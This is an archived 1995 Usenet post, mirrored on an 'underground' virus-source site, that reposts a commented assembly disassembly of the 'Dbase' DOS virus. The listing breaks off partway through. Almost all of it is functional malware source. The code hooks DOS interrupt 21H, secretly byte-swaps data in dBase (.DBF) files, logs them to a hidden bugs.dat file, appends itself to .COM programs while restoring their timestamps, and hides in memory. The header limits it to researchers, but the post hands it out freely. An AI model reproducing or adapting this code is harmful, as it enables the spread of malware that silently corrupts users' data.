home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dbase.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  24.5 KB  |  1,051 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  3. From: danishm@iia.org ()
  4. Newsgroups: alt.comp.virus
  5. Subject: DBase
  6. Date: 5 Feb 1995 21:56:43 GMT
  7. Organization: International Internet Association.
  8. Lines: 1031
  9. Message-ID: <3h3hir$sb@ankh.iia.org>
  10. NNTP-Posting-Host: iia.org
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. Here is the DBase virus:
  14.  
  15.     page    65,132
  16.     title    The 'Dbase' Virus
  17. ; ╔══════════════════════════════════════════════════════════════════════════╗
  18. ; ║                 British Computer Virus Research Centre                   ║
  19. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  20. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  21. ; ║                                                                          ║
  22. ; ║                           The 'Dbase' Virus                              ║
  23. ; ║                Disassembled by Joe Hirst,      October 1989              ║
  24. ; ║                                                                          ║
  25. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  26. ; ║                                                                          ║
  27. ; ║      This listing is only to be made available to virus researchers      ║
  28. ; ║                or software writers on a need-to-know basis.              ║
  29. ; ╚══════════════════════════════════════════════════════════════════════════╝
  30.  
  31. MCB    SEGMENT AT 0
  32.  
  33. IDENT    DB    ?
  34. OWNER    DW    ?
  35. MEMSIZE    DW    ?
  36.  
  37. MCB    ENDS
  38.  
  39. CODE    SEGMENT BYTE PUBLIC 'CODE'
  40.  
  41.     ASSUME    CS:CODE,DS:NOTHING
  42.  
  43.     ; Interrupt 21H routine
  44.  
  45. BP0000:    PUSHF
  46.     CMP    AX,0FB0AH        ; Infection test function?
  47.     JNE    BP0010            ; Branch if not
  48.     XCHG    AH,AL            ; Swap bytes
  49.     POPF
  50.     IRET
  51.  
  52.     ; Branch to open file function
  53.  
  54. BP000A:    JMP    BP06DB
  55.  
  56.     ; Branch to new file functions
  57.  
  58. BP000D:    JMP    BP0391
  59.  
  60. BP0010:    CMP    DI,0FB0AH        ; Allow free passage?
  61.     JE    BP0044            ; Branch if yes
  62.     CMP    AX,4B00H        ; Load and execute function?
  63.     JNE    BP001E            ; Branch if not
  64.     JMP    BP0490
  65.  
  66. BP001E:    CMP    AH,6CH            ; Extended open/create function?
  67.     JE    BP000D            ; Branch if yes
  68.     CMP    AH,5BH            ; Create new file function?
  69.     JE    BP000D            ; Branch if yes
  70.     CMP    AH,3CH            ; Create handle function?
  71.     JE    BP000D            ; Branch if yes
  72.     CMP    AH,3DH            ; Open handle function?
  73.     JE    BP000A            ; Branch if yes
  74.     CMP    AH,3FH            ; Read handle function?
  75.     JE    BP004A            ; Branch if yes
  76.     CMP    AH,40H            ; Write handle function?
  77.     JE    BP004D            ; Branch if yes
  78.     CMP    AH,3EH            ; Close handle function?
  79.     JNE    BP0044            ; Branch if not
  80.     JMP    BP0340
  81.  
  82.     ; Pass on to Int 21H
  83.  
  84. BP0044:    POPF
  85.     DB    0EAH            ; Far jump
  86. DW0046    DW    0            ; Int 21H offset
  87. DW0048    DW    0            ; Int 21H segment
  88.  
  89.     ; Branch to read file function
  90.  
  91. BP004A:    JMP    BP00C8
  92.  
  93.     ; Branch to write file function
  94.  
  95. BP004D:    JMP    BP015F
  96.  
  97.     JMP    BP04A7
  98.  
  99. DB0053    DB    'c:\bugs.dat', 0    ; File pathname
  100.     DB    4EH DUP (0), 0FFH    ; Read buffer
  101. DW00AE    DW    0
  102. DB00B0    DB    14H DUP (0)        ; Table of file handles
  103. DW00C4    DW    0, 0
  104.  
  105.     ; Read file function
  106.  
  107. BP00C8:    PUSH    DI
  108.     CALL    BP00CC            ; \ Get current address
  109. BP00CC:    POP    DI            ; /
  110.     SUB    DI,1CH            ; Address table of file handles
  111. BP00D0:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  112.     JE    BP00DE            ; Branch if yes
  113.     CMP    CS:[DI],BL        ; Is this the file handle
  114.     JE    BP00E2            ; Branch if yes
  115.     INC    DI            ; Next entry
  116.     JMP    BP00D0
  117.  
  118. BP00DE:    POP    DI
  119.     JMP    BP0044            ; Pass on to Int 21H
  120.  
  121. BP00E2:    POP    DI
  122.     POPF
  123.     PUSH    CX
  124.     PUSH    AX
  125.     PUSH    DX
  126.     MOV    AX,4201H        ; Move file pointer (current) function
  127.     XOR    CX,CX            ; \ No offset
  128.     XOR    DX,DX            ; /
  129.     INT    21H            ; DOS service
  130.     TEST    AX,1            ; Is location odd number byte?
  131.     JZ    BP012A            ; Branch if not
  132.     MOV    AX,4201H        ; Move file pointer (current) function
  133.     MOV    CX,-1            ; \ Back one byte
  134.     MOV    DX,CX            ; /
  135.     INT    21H            ; DOS service
  136.     MOV    AH,3FH            ; Read handle function
  137.     MOV    CX,1            ; Length to read
  138.     POP    DX
  139.     CALL    BP05C3            ; DOS service
  140.     POP    AX
  141.     POP    CX
  142.     PUSH    SI
  143.     PUSH    BP
  144.     MOV    SI,DX
  145.     MOV    BP,[SI]
  146.     CALL    BP05C3            ; DOS service
  147.     PUSHF
  148.     PUSH    AX
  149.     MOV    AX,BP
  150.     MOV    [SI],AL
  151.     POP    AX
  152.     POP    BP
  153.     POP    SI
  154.     PUSH    CX
  155.     PUSH    DX
  156.     MOV    CX,AX
  157.     DEC    CX
  158.     INC    DX
  159.     CALL    BP022D            ; Reverse bytes in each word
  160.     POP    DX
  161.     POP    CX
  162.     JMP    BP0138
  163.  
  164. BP012A:    POP    DX
  165.     POP    AX
  166.     POP    CX
  167.     CALL    BP05C3            ; DOS service
  168.     PUSHF
  169.     PUSH    CX
  170.     MOV    CX,AX
  171.     CALL    BP022D            ; Reverse bytes in each word
  172.     POP    CX
  173. BP0138:    PUSH    CX
  174.     PUSH    AX
  175.     PUSH    DX
  176.     MOV    AX,4201H        ; Move file pointer (current) function
  177.     XOR    CX,CX            ; \ No offset
  178.     XOR    DX,DX            ; /
  179.     INT    21H            ; DOS service
  180.     TEST    AX,1            ; Is location odd number byte?
  181.     JZ    BP0158            ; Branch if not
  182.     POP    DX
  183.     POP    AX
  184.     PUSH    AX
  185.     PUSH    DX
  186.     ADD    DX,AX
  187.     DEC    DX
  188.     MOV    CX,1            ; Length to read
  189.     MOV    AH,3FH            ; Read handle function
  190.     CALL    BP05C3            ; DOS service
  191. BP0158:    POP    DX
  192.     POP    AX
  193.     POP    CX
  194.     POPF
  195.     RETF    2
  196.  
  197.     ; Write file function
  198.  
  199. BP015F:    PUSH    DI
  200.     CALL    BP0163            ; \ Get current address
  201. BP0163:    POP    DI            ; /
  202.     SUB    DI,OFFSET BP0163-DB00B0    ; Address table of file handles
  203. BP0168:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  204.     JE    BP0176            ; Branch if yes
  205.     CMP    CS:[DI],BL        ; Is this the file handle
  206.     JE    BP017A            ; Branch if yes
  207.     INC    DI            ; Next entry
  208.     JMP    BP0168
  209.  
  210. BP0176:    POP    DI
  211.     JMP    BP0044            ; Pass on to Int 21H
  212.  
  213. BP017A:    CALL    BP017D            ; \ Get current address
  214. BP017D:    POP    DI            ; /
  215.     SUB    DI,OFFSET BP017D-DW00C4
  216.     MOV    WORD PTR CS:[DI],0
  217.     MOV    WORD PTR CS:[DI+2],0
  218.     PUSH    AX
  219.     PUSH    BX
  220.     PUSH    CX
  221.     PUSH    DX
  222.     MOV    AX,4201H        ; Move file pointer (current) function
  223.     XOR    CX,CX            ; \ No offset
  224.     XOR    DX,DX            ; /
  225.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  226.     INT    21H            ; DOS service
  227.     TEST    AX,1            ; Is location odd number byte?
  228.     JNZ    BP01C0            ; Branch if yes
  229.     POP    DX
  230.     POP    CX
  231.     TEST    AX,1            ; Is location odd number byte?
  232.     JNZ    BP01B2            ; Branch if yes (???)
  233.     MOV    AX,0
  234.     CALL    BP0200
  235.     JMP    BP01E9
  236.  
  237. BP01B2:    MOV    AX,1
  238.     CALL    BP0200
  239.     JB    BP01E9
  240.     CALL    BP02B9
  241.     JMP    BP01E9
  242.  
  243. BP01C0:    POP    DX
  244.     POP    CX
  245.     TEST    CX,1
  246.     JZ    BP01D6
  247.     CALL    BP0262
  248.     JB    BP01E9
  249.     MOV    AX,0100H
  250.     CALL    BP0200
  251.     JMP    BP01E9
  252.  
  253. BP01D6:    CALL    BP0262
  254.     JB    BP01E9
  255.     MOV    AX,0101H
  256.     CALL    BP0200
  257.     JB    BP01E9
  258.     CALL    BP02B9
  259.     JMP    BP01E9
  260.  
  261. BP01E9:    POP    BX
  262.     POP    AX
  263.     POP    DI
  264.     CALL    BP01EF            ; \ Get current address
  265. BP01EF:    POP    SI            ; /
  266.     SUB    SI,OFFSET BP01EF-DW00C4
  267.     PUSH    CS:[SI+2]
  268.     POPF
  269.     MOV    AX,CS:[SI]
  270.     POP    SI
  271.     RETF    2
  272.  
  273. BP0200:    CMP    CX,1
  274.     JNE    BP0209
  275.     CALL    BP0242
  276.     RET
  277.  
  278. BP0209:    CALL    BP0215
  279.     CALL    BP0242
  280.     PUSHF
  281.     CALL    BP0215
  282.     POPF
  283.     RET
  284.  
  285. BP0215:    PUSH    CX
  286.     PUSH    DX
  287.     CALL    BP0220
  288.     CALL    BP022D            ; Reverse bytes in each word
  289.     POP    DX
  290.     POP    CX
  291.     RET
  292.  
  293. BP0220:    CMP    AH,1
  294.     JNE    BP0227
  295.     INC    DX
  296.     DEC    CX
  297. BP0227:    CMP    AL,1
  298.     JNE    BP022C
  299.     DEC    CX
  300. BP022C:    RET
  301.  
  302.     ; Reverse bytes in each word
  303.  
  304. BP022D:    PUSH    SI
  305.     PUSH    CX
  306.     PUSH    AX
  307.     MOV    SI,DX
  308.     SHR    CX,1            ; Divide count by two
  309. BP0234:    MOV    AX,[SI]            ; Get next word
  310.     XCHG    AH,AL            ; Reverse bytes in word
  311.     MOV    [SI],AX            ; Replace word
  312.     INC    SI            ; \ Next word
  313.     INC    SI            ; /
  314.     LOOP    BP0234            ; Repeat for count
  315.     POP    AX
  316.     POP    CX
  317.     POP    SI
  318.     RET
  319.  
  320. BP0242:    PUSH    AX
  321.     PUSH    CX
  322.     PUSH    DX
  323.     PUSH    DI
  324.     CALL    BP0220
  325.     MOV    AH,40H            ; Write handle function
  326.     INT    21H            ; DOS service
  327.     PUSHF
  328.     CALL    BP0251            ; \ Get current address
  329. BP0251:    POP    DI            ; /
  330.     SUB    DI,OFFSET BP0251-DW00C4
  331.     POP    CS:[DI+2]
  332.     ADD    CS:[DI],AX
  333.     POP    DI
  334.     POP    DX
  335.     POP    CX
  336.     POP    AX
  337.     RET
  338.  
  339. BP0262:    PUSH    AX
  340.     PUSH    CX
  341.     PUSH    DX
  342.     PUSH    SI
  343.     PUSH    BP
  344.     MOV    DX,-1            ; \ Back one byte
  345.     MOV    CX,DX            ; /
  346.     MOV    AX,4201H        ; Move file pointer (current) function
  347.     INT    21H            ; DOS service
  348.     MOV    AH,3FH            ; Read handle function
  349.     MOV    CX,1            ; Length to read
  350.     MOV    SI,DX
  351.     MOV    BP,[SI]
  352.     INT    21H            ; DOS service
  353.     JB    BP02A3            ; Branch if error
  354.     MOV    DX,-1            ; \ Back one byte
  355.     MOV    CX,DX            ; /
  356.     MOV    AX,4201H        ; Move file pointer (current) function
  357.     INT    21H            ; DOS service
  358.     XCHG    BP,[SI]
  359.     MOV    CX,1            ; Length to write
  360.     MOV    AH,40H            ; Write handle function
  361.     INT    21H            ; DOS service
  362.     JB    BP02A3            ; Branch if error
  363.     XCHG    BP,[SI]
  364.     MOV    CX,1            ; Length to write
  365.     MOV    AH,40H            ; Write handle function
  366.     INT    21H            ; DOS service
  367.     JB    BP02A3            ; Branch if error
  368.     XCHG    BP,[SI]
  369.     MOV    AX,1
  370. BP02A3:    PUSHF
  371.     CALL    BP02A7            ; \ Get current address
  372. BP02A7:    POP    SI            ; /
  373.     SUB    SI,OFFSET BP02A7-DW00C4
  374.     POP    CS:[SI+2]
  375.     MOV    CS:[SI],AX
  376.     POP    BP
  377.     POP    SI
  378.     POP    DX
  379.     POP    CX
  380.     POP    AX
  381.     RET
  382.  
  383. BP02B9:    PUSH    AX
  384.     PUSH    CX
  385.     PUSH    DX
  386.     PUSH    SI
  387.     PUSH    BP
  388.     MOV    SI,DX
  389.     ADD    SI,CX
  390.     DEC    SI
  391.     MOV    DX,1            ; \ Forward one byte
  392.     XOR    CX,CX            ; /
  393.     MOV    AX,4201H        ; Move file pointer (current) function
  394.     INT    21H            ; DOS service
  395.     MOV    AH,3FH            ; Read handle function
  396.     MOV    CX,1            ; Read one byte
  397.     MOV    BP,[SI]
  398.     INT    21H            ; DOS service
  399.     JB    BP02E0            ; Branch if error
  400.     CMP    AX,1            ; One byte read?
  401.     JNE    BP02E0            ; Branch if not
  402.     JMP    BP02F6
  403.  
  404. BP02E0:    MOV    CX,-1            ; \ Back one byte
  405.     MOV    DX,CX            ; /
  406.     MOV    AX,4201H        ; Move file pointer (current) function
  407.     INT    21H            ; DOS service
  408.     MOV    DX,SI
  409.     MOV    CX,1            ; Length to write
  410.     MOV    AH,40H            ; Write handle function
  411.     INT    21H            ; DOS service
  412.     JMP    BP032A
  413.  
  414. BP02F6:    MOV    DX,-2            ; \ Back two byte
  415.     MOV    CX,-1            ; /
  416.     MOV    AX,4201H        ; Move file pointer (current) function
  417.     INT    21H            ; DOS service
  418.     XCHG    BP,[SI]
  419.     MOV    CX,1            ; Length to write
  420.     MOV    AH,40H            ; Write handle function
  421.     MOV    DX,SI
  422.     INT    21H            ; DOS service
  423.     JB    BP032A            ; Branch if error
  424.     XCHG    BP,[SI]
  425.     MOV    CX,1            ; Length to write
  426.     MOV    AH,40H            ; Write handle function
  427.     MOV    DX,SI
  428.     INT    21H            ; DOS service
  429.     JB    BP032A            ; Branch if error
  430.     XCHG    BP,[SI]
  431.     MOV    DX,-1            ; \ Back one byte
  432.     MOV    CX,DX            ; /
  433.     MOV    AX,4201H        ; Move file pointer (current) function
  434.     INT    21H            ; DOS service
  435.     MOV    AX,1
  436. BP032A:    PUSHF
  437.     CALL    BP032E            ; \ Get current address
  438. BP032E:    POP    SI            ; /
  439.     SUB    SI,OFFSET BP032E-DW00C4
  440.     POP    CS:[SI+2]
  441.     ADD    CS:[SI],AX
  442.     POP    BP
  443.     POP    SI
  444.     POP    DX
  445.     POP    CX
  446.     POP    AX
  447.     RET
  448.  
  449. BP0340:    PUSH    BP
  450.     PUSH    CX
  451.     CALL    BP0345            ; \ Get current address
  452. BP0345:    POP    BP            ; /
  453.     SUB    BP,OFFSET BP0345-DW00AE
  454.     MOV    CX,CS:[BP+0]
  455.     CMP    CX,0
  456.     JE    BP037C
  457.     ADD    BP,2
  458. BP0356:    CMP    CS:[BP+0],BL
  459.     JE    BP0362
  460.     INC    BP
  461.     LOOP    BP0356
  462.     JMP    BP037C
  463.  
  464. BP0362:    MOV    CL,CS:[BP+1]
  465.     MOV    CS:[BP+0],CL
  466.     INC    BP
  467.     CMP    CL,0
  468.     JNE    BP0362
  469.     CALL    BP0373            ; \ Get current address
  470. BP0373:    POP    BP            ; /
  471.     SUB    BP,OFFSET BP0373-DW00AE
  472.     DEC    WORD PTR CS:[BP+0]
  473. BP037C:    POP    CX
  474.     POP    BP
  475.     JMP    BP0044            ; Pass on to Int 21H
  476.  
  477. BP0381:    JMP    BP04A7
  478.  
  479.     JMP    BP0044            ; Pass on to Int 21H
  480.  
  481. DW0387    DW    0            ; File date
  482. DW0389    DW    0            ; File time
  483. DW038B    DW    0            ; File attributes
  484. DW038D    DW    0            ; Pathname segment
  485. DW038F    DW    0            ; Pathname offset
  486.  
  487.     ; New file functions
  488.  
  489. BP0391:    PUSH    SI
  490.     PUSH    BP
  491.     CMP    AH,6CH            ; Extended open/create function?
  492.     JE    BP039A            ; Branch if yes
  493.     MOV    SI,DX            ; Copy filepath pointer
  494. BP039A:    MOV    BP,SI            ; Copy filepath pointer
  495.     CALL    BP0453            ; Convert pathname to uppercase
  496.     CALL    BP0468            ; Test for Dbase file
  497.     JNE    BP0381            ; Branch if not
  498.     PUSH    DX
  499.     MOV    DX,SI            ; Copy pathname (for function 6CH)
  500.     CALL    BP0665            ; Search BUG.DAT file for pathname
  501.     POP    DX
  502.     JB    BP0415            ; Branch if found
  503.     PUSH    ES
  504.     PUSH    DS
  505.     PUSH    DX
  506.     PUSH    SI
  507.     PUSH    DI
  508.     PUSH    CX
  509.     PUSH    BX
  510.     PUSH    AX
  511.     CALL    BP03B8            ; \ Get current address
  512. BP03B8:    POP    DX            ; /
  513.     SUB    DX,OFFSET BP03B8-DB0053    ; Address 'BUGS.DAT' pathname
  514.     PUSH    BP
  515.     MOV    BP,DS            ; \ Set ES to DS
  516.     MOV    ES,BP            ; /
  517.     POP    BP
  518.     PUSH    CS            ; \ Set DS to CS
  519.     POP    DS            ; /
  520.     MOV    AX,3D02H        ; Open handle (R/W) function
  521.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  522.     INT    21H            ; DOS service
  523.     JNB    BP03D8            ; Branch if no error
  524.     MOV    AH,3CH            ; Create handle function
  525.     MOV    CX,2            ; Hidden file
  526.     INT    21H            ; DOS service
  527.     JB    BP0448            ; Branch if error
  528. BP03D8:    MOV    BX,AX            ; Move handle
  529.     CALL    BP06F7            ; Is file out of time?
  530.     XOR    DX,DX            ; \ No offset
  531.     XOR    CX,CX            ; /
  532.     MOV    AX,4202H        ; Move file pointer (EOF) function
  533.     INT    21H            ; DOS service
  534.     MOV    DX,BP
  535.     MOV    DI,DX
  536.     MOV    BP,ES            ; \ Set DS to ES
  537.     MOV    DS,BP            ; /
  538.     MOV    CX,004EH        ; Length to write
  539.     MOV    AH,40H            ; Write handle function
  540.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  541.     INT    21H            ; DOS service
  542.     CALL    BP03FB            ; \ Get current address
  543. BP03FB:    POP    SI            ; /
  544.     SUB    SI,74H            ; Address file date
  545.     MOV    DX,CS:[SI]        ; Get file date
  546.     MOV    AX,5701H        ; Set file date & time function
  547.     INT    21H            ; DOS service
  548.     MOV    AH,3EH            ; Close handle function
  549.     INT    21H            ; DOS service
  550.     JB    BP0448            ; Branch if error
  551.     POP    AX
  552.     POP    BX
  553.     POP    CX
  554.     POP    DI
  555.     POP    SI
  556.     POP    DX
  557.     POP    DS
  558.     POP    ES
  559. BP0415:    POP    BP
  560.     POP    SI
  561.     POPF
  562.     CALL    BP05C3            ; DOS service
  563.     JB    BP0420            ; Branch if error
  564.     CALL    BP0423
  565. BP0420:    RETF    2
  566.  
  567. BP0423:    PUSHF
  568.     PUSH    SI
  569.     CALL    BP0428            ; \ Get current address
  570. BP0428:    POP    SI            ; /
  571.     SUB    SI,OFFSET BP0428-DW00AE
  572.     CMP    WORD PTR CS:[SI],14H
  573.     JE    BP0447
  574.     INC    WORD PTR CS:[SI]
  575.     PUSH    BX
  576.     MOV    BX,SI
  577.     ADD    BX,CS:[SI]
  578.     ADD    BX,CS:[SI]
  579.     MOV    SI,BX
  580.     POP    BX
  581.     MOV    CS:[SI],AL
  582.     POP    SI
  583.     POPF
  584. BP0447:    RET
  585.  
  586. BP0448:    POP    AX
  587.     POP    BX
  588.     POP    CX
  589.     POP    DI
  590.     POP    SI
  591.     POP    DX
  592.     POP    DS
  593.     POP    ES
  594.     JMP    BP04A7
  595.  
  596.     ; Convert pathname to uppercase
  597.  
  598. BP0453:    PUSH    SI
  599.     MOV    SI,DX            ; Copy pathname pointer
  600. BP0456:    CMP    BYTE PTR [SI],0        ; End of pathname?
  601.     JE    BP0466            ; Branch if yes
  602.     CMP    BYTE PTR [SI],'a'    ; Lowercase character?
  603.     JB    BP0463            ; Branch if not
  604.     SUB    BYTE PTR [SI],' '    ; Convert to uppercase
  605. BP0463:    INC    SI            ; Next character
  606.     JMP    BP0456            ; Process next character
  607.  
  608. BP0466:    POP    SI
  609.     RET
  610.  
  611.     ; Test for Dbase file
  612.  
  613. BP0468:    CALL    BP0453            ; Convert pathname to uppercase
  614.     PUSH    SI
  615. BP046C:    CMP    BYTE PTR [SI],0        ; End of pathname?
  616.     JE    BP0480            ; Branch if yes
  617.     CMP    BYTE PTR [SI],'.'    ; Extension character?
  618.     JE    BP0479            ; Branch if yes
  619.     INC    SI            ; Next character
  620.     JMP    BP046C            ; Process next character
  621.  
  622. BP0479:    INC    SI            ; Next character
  623.     CMP    WORD PTR [SI],'BD'    ; Database file (1)?
  624.     JNE    BP0484            ; Branch if not
  625. BP0480:    CMP    BYTE PTR [SI+2],'F'    ; Database file (2)?
  626. BP0484:    POP    SI
  627.     RET
  628.  
  629. DB0486    DB    0CDH, 20H, 90H, 90H    ; Start of host read buffer
  630. DB048A    DB    0, 0            ; Signature read buffer
  631. DB048C    DB    0E9H, 0, 0        ; Initial jump instruction
  632.     DB    0
  633.  
  634.     ; Load and execute function
  635.  
  636. BP0490:    PUSH    BP
  637.     PUSH    SI
  638.     MOV    SI,DX            ; Copy pathname pointer
  639. BP0494:    CMP    BYTE PTR [SI],0        ; End of pathname?
  640.     JE    BP04A7            ; Branch if yes
  641.     CMP    BYTE PTR [SI],'.'    ; Extension indicator?
  642.     JE    BP04AC            ; Branch if yes
  643.     INC    SI            ; Next character
  644.     JMP    BP0494            ; Process next character
  645.  
  646. BP04A1:    POP    DS
  647.     POP    DX
  648.     POP    DI
  649.     POP    CX
  650.     POP    BX
  651.     POP    AX
  652. BP04A7:    POP    BP
  653.     POP    SI
  654.     JMP    BP0044            ; Pass on to Int 21H
  655.  
  656. BP04AC:    INC    SI            ; Next character
  657.     CMP    WORD PTR [SI],'OC'    ; Is it a COM file? (1)
  658.     JNE    BP04A7            ; Branch if not
  659.     CMP    BYTE PTR [SI+2],'M'    ; Is it a COM file? (1)
  660.     JNE    BP04A7            ; Branch if not
  661.     PUSH    AX
  662.     PUSH    BX
  663.     PUSH    CX
  664.     PUSH    DI
  665.     PUSH    DX
  666.     PUSH    DS
  667.     PUSH    SI
  668.     PUSH    CX
  669.     MOV    AX,4300H        ; Get file attributes function
  670.     INT    21H            ; DOS service
  671.     CALL    BP04C9            ; \ Get current address
  672. BP04C9:    POP    SI            ; /
  673.     SUB    SI,OFFSET BP04C9-DW038B    ; Address file attributes
  674.     MOV    CS:[SI],CX        ; Save file attributes
  675.     MOV    CS:[SI+2],DS        ; Save pathname segment
  676.     MOV    CS:[SI+4],DX        ; Save pathname offset
  677.     AND    CX,00FEH        ; Switch off read only
  678.     MOV    AX,4301H        ; Set file attributes function
  679.     INT    21H            ; DOS service
  680.     POP    CX
  681.     POP    SI
  682.     MOV    AX,3D00H        ; Open handle (read) function
  683.     INT    21H            ; DOS service
  684.     JB    BP04A1            ; Branch if error
  685.     MOV    BX,AX            ; Move handle
  686.     MOV    AX,5700H        ; Get file date & time function
  687.     INT    21H            ; DOS service
  688.     PUSH    SI
  689.     CALL    BP04F6            ; \ Get current address
  690. BP04F6:    POP    SI            ; /
  691.     SUB    SI,OFFSET BP04F6-DW0387    ; Address file date
  692.     MOV    CS:[SI],DX        ; Save file date
  693.     MOV    CS:[SI+2],CX        ; Save file time
  694.     POP    SI
  695.     MOV    AH,3FH            ; Read handle function
  696.     MOV    CX,4            ; Length to read
  697.     CALL    BP050B            ; \ Get current address
  698. BP050B:    POP    SI            ; /
  699.     SUB    SI,OFFSET BP050B    ; Offset of start of virus
  700.     MOV    DX,SI            ; \ Address start of host read buffer
  701.     ADD    DX,OFFSET DB0486    ; /
  702.     PUSH    CS            ; \ Set DS to CS
  703.     POP    DS            ; /
  704.     INT    21H            ; DOS service
  705.     JB    BP058A            ; Branch if error
  706.     PUSH    DX
  707.     PUSH    SI
  708.     MOV    SI,DX            ; Address start of host read buffer
  709.     MOV    DX,[SI+1]        ; Get branch offset (if its a branch?)
  710.     INC    DX            ; \ Address to signature (DB0630)
  711.     XOR    CX,CX            ; /
  712.     MOV    AX,4200H        ; Move file pointer (start) function
  713.     INT    21H            ; DOS service
  714.     POP    SI
  715.     POP    DX
  716.     JB    BP058A            ; Branch if error
  717.     MOV    AH,3FH            ; Read handle function
  718.     MOV    CX,2            ; Length to read
  719.     ADD    DX,4            ; Address to signature read buffer
  720.     INT    21H            ; DOS service
  721.     PUSH    SI
  722.     MOV    SI,DX            ; \ Copy signature read buffer address
  723.     MOV    DI,SI            ; /
  724.     CMP    WORD PTR [SI],0E5E5H    ; Test signature
  725.     POP    SI
  726.     JE    BP058A            ; Branch if infected
  727.     MOV    AH,3EH            ; Close handle function
  728.     INT    21H            ; DOS service
  729.     POP    DS
  730.     POP    DX
  731.     PUSH    DX
  732.     PUSH    DS
  733.     MOV    AX,3D02H        ; Open handle (R/W) function
  734.     INT    21H            ; DOS service
  735.     JNB    BP0557            ; Branch if no error
  736.     JMP    BP04A1
  737.  
  738. BP0557:    PUSH    CS            ; \ Set DS to CS
  739.     POP    DS            ; /
  740.     MOV    BX,AX            ; Move handle
  741.     MOV    AX,4202H        ; Move file pointer (EOF) function
  742.     XOR    CX,CX            ; \ No offset
  743.     XOR    DX,DX            ; /
  744.     INT    21H            ; DOS service
  745.     ADD    AX,OFFSET START-3    ; Add entry point offset
  746.     NOP
  747.     MOV    [DI+3],AX        ; Store in initial jump instruction
  748.     XOR    DX,DX            ; Address start of virus
  749.     MOV    AH,40H            ; Write handle function
  750.     MOV    CX,OFFSET ENDADR    ; Length of virus
  751.     NOP
  752.     INT    21H            ; DOS service
  753.     MOV    AX,4200H        ; Move file pointer (start) function
  754.     XOR    CX,CX            ; \ No offset
  755.     XOR    DX,DX            ; /
  756.     INT    21H            ; DOS service
  757.     MOV    DX,DI            ; \ Address initial jump instruction
  758.     ADD    DX,2            ; /
  759.     MOV    CX,3            ; Length of jump instruction
  760.     MOV    AH,40H            ; Write handle function
  761.     INT    21H            ; DOS service
  762. BP058A:    PUSH    SI
  763.     CALL    BP058E            ; \ Get current address
  764. BP058E:    POP    SI            ; /
  765.     SUB    SI,OFFSET BP058E-DW0387    ; Address file date
  766.     MOV    DX,CS:[SI]        ; Get file date
  767.     MOV    CX,CS:[SI+2]        ; Get file time
  768.     POP    SI
  769.     MOV    AX,5701H        ; Set file date & time function
  770.     INT    21H            ; DOS service
  771.     MOV    AH,3EH            ; Close handle function
  772.     INT    21H            ; DOS service
  773.     PUSH    SI
  774.     PUSH    CX
  775.     CALL    BP05A9            ; \ Get current address
  776. BP05A9:    POP    SI            ; /
  777.     SUB    SI,OFFSET BP05A9-DW038B    ; Address file attributes
  778.     MOV    CX,CS:[SI]        ; Get file attributes
  779.     MOV    DS,CS:[SI+2]        ; Get pathname offset
  780.     MOV    DX,CS:[SI+4]        ; Get pathname segment
  781.     MOV    AX,4301H        ; Set file attributes function
  782.     INT    21H            ; DOS service
  783.     POP    CX
  784.     POP    SI
  785.     JMP    BP04A1
  786.  
  787.     ; Call DOS service
  788.  
  789. BP05C3:    PUSHF
  790.     DB    9AH            ; Far call
  791. DW05C5    DW    0            ; Int 21H offset
  792. DW05C7    DW    0            ; Int 21H segment
  793.     RET
  794.  
  795.     ; Infect system
  796.  
  797. BP05CA:    PUSH    SI
  798.     CALL    BP05CE            ; \ Get current address
  799. BP05CE:    POP    SI            ; /
  800.     SUB    SI,OFFSET BP05CE    ; Relocate from start of virus
  801.     PUSH    AX
  802.     PUSH    BX
  803.     PUSH    CX
  804.     PUSH    DX
  805.     PUSH    DI
  806.     PUSH    DS
  807.     PUSH    ES
  808.     MOV    AX,3521H        ; Get Int 21H function
  809.     INT    21H            ; DOS service
  810.     MOV    CS:[SI+46H],BX        ; \ Install vector in jump
  811.     MOV    CS:[SI+48H],ES        ; /
  812.     MOV    CS:DW05C5[SI],BX    ; \ Install vector in call
  813.     MOV    CS:DW05C7[SI],ES    ; /
  814.     PUSH    CS            ; \ Get current segment
  815.     POP    AX            ; /
  816.     DEC    AX            ; \ Address MCB
  817.     MOV    DS,AX            ; /
  818.     ASSUME    DS:MCB
  819.     MOV    DX,MEMSIZE        ; Get memory block length
  820.     SUB    DX,0074H        ; \ Subtract virus length
  821.     nop
  822.     DEC    DX            ; /
  823.     MOV    MEMSIZE,DX        ; Replace new length
  824.     ASSUME    DS:NOTHING
  825.     PUSH    CS            ; \ Get current segment
  826.     POP    AX            ; /
  827.     ADD    DX,AX            ; \ Address free space
  828.     MOV    DS,DX            ; /
  829.     MOV    DI,0            ; Start of free space
  830.     MOV    CX,OFFSET ENDADR        ; Length of virus
  831.     NOP
  832.     CLI
  833.     PUSH    SI
  834. BP0612:    MOV    AL,CS:[SI]
  835.     MOV    [DI],AL
  836.     INC    SI
  837.     INC    DI
  838.     LOOP    BP0612
  839.     POP    SI
  840.     MOV    DS,DX
  841.     MOV    DX,OFFSET BP0000
  842.     MOV    AX,2521H        ; Set Int 21H function
  843.     INT    21H            ; DOS service
  844.     STI
  845.     POP    ES
  846.     POP    DS
  847.     POP    DI
  848.     POP    DX
  849.     POP    CX
  850.     POP    BX
  851.     POP    AX
  852.     JMP    BP0640
  853.  
  854. DB0630    DB    0E5H, 0E5H
  855.  
  856.     ; Entry point
  857.  
  858. START:    PUSH    AX
  859.     MOV    AX,0FB0AH        ; Infection test function
  860.     INT    21H            ; DOS service
  861.     CMP    AX,0AFBH        ; Is system infected?
  862.     JE    BP0640            ; Branch if yes
  863.     JMP    BP05CA
  864.  
  865. BP0640:    PUSH    SI
  866.     CALL    BP0644            ; \ Get current address
  867. BP0644:    POP    SI            ; /
